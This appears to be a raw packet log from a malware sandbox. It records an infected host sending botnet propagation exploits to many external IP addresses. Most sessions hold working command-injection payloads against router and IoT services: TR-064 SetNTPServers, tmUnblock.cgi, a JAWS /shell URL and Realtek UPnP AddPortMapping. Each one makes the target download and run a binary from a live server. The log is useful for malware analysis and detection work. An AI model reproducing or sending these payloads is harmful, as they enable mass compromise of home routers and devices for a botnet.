Mar 21, 2024 05:22:11.915334940 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
598	192.168.2.14	47986	216.78.22.29	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.915807962 CET	536	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <Ne Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
599	192.168.2.14	34422	221.145.239.86	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.948923111 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
600	192.168.2.14	34360	221.145.239.86	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.948970079 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
601	192.168.2.14	47502	172.64.193.14	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:12.127823114 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:22:12.418549061 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
602	192.168.2.14	50028	172.65.201.189	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:12.127876997 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
603	192.168.2.14	57658	172.65.18.16	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:12.127911091 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
604	192.168.2.14	54572	172.64.32.5	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:12.127928972 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:22:12.639262915 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
605	192.168.2.14	38576	86.155.2.218	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:12.145524979 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:13.118252993 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
606	192.168.2.14	47436	172.67.90.29	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:12.246212959 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
607	192.168.2.14	34520	221.145.239.86	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:12.250550985 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
608	192.168.2.14	39310	162.240.110.240	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:12.251811028 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:13.246254921 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:14.398174047 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:14.597980976 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:14 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason {
Mar 21, 2024 05:22:14.597996950 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d Data Ascii: font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; background-co
Mar 21, 2024 05:22:14.598010063 CET	1286	IN	Data Raw: 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 Data Ascii: { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer { text-align
Mar 21, 2024 05:22:14.598023891 CET	1286	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0; bottom: 0;
Mar 21, 2024 05:22:14.598083973 CET	1286	IN	Data Raw: 62 47 42 74 71 52 46 52 58 6f 36 2b 30 5a 35 59 51 68 35 4c 48 64 39 59 47 57 4f 73 46 2b 39 49 73 35 6f 51 58 63 74 5a 4b 62 76 64 41 41 74 62 48 48 4d 38 2b 47 4c 66 6f 6a 57 64 49 67 50 66 66 37 59 69 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 66 Data Ascii: bGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGS
Mar 21, 2024 05:22:14.598159075 CET	1286	IN	Data Raw: 35 55 33 77 4d 78 69 6f 69 45 72 52 6d 32 6e 75 68 64 38 51 52 43 41 38 49 77 54 52 41 57 31 4f 37 50 41 73 62 74 43 50 79 4d 4d 67 4a 70 2b 31 2f 49 61 78 71 47 41 52 7a 72 46 74 74 70 68 55 52 2b 4d 76 45 50 53 78 2b 36 6d 2f 70 43 78 45 69 33 Data Ascii: 5U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGE
Mar 21, 2024 05:22:14.598251104 CET	1096	IN	Data Raw: 4c 57 6b 51 38 77 6f 42 4b 79 52 2b 2b 64 55 54 73 75 45 4b 2b 4c 38 70 32 42 44 34 66 47 64 73 66 71 68 78 47 51 54 51 5a 6c 75 48 55 4c 58 72 52 73 55 46 66 42 45 30 4f 67 7a 49 6c 72 61 52 38 76 6b 77 36 71 6e 58 6d 75 44 53 46 38 52 67 53 38 Data Ascii: LWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hX
Mar 21, 2024 05:22:14.598267078 CET	1286	IN	Data Raw: 34 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: 400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to server.vqg.uqc.mybluehost.me's <a href="mailto:roo
Mar 21, 2024 05:22:14.598280907 CET	388	IN	Data Raw: 6d 5f 73 6f 75 72 63 65 3d 63 70 61 6e 65 6c 77 68 6d 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 63 70 6c 6f 67 6f 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 6c 6f 67 6f 6c 69 6e 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 34 30 30 72 65 66 65 72 72 61 6c Data Ascii: m_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=400referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg" height="20" alt="cPanel, Inc." /> <div

Session ID	Source IP	Source Port	Destination IP	Destination Port
609	192.168.2.14	34522	221.145.239.86	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:12.251854897 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
610	192.168.2.14	53934	98.174.91.137	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:12.324023962 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:22:29.821666956 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
611	192.168.2.14	37382	45.126.229.145	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:12.993031025 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:17.022064924 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 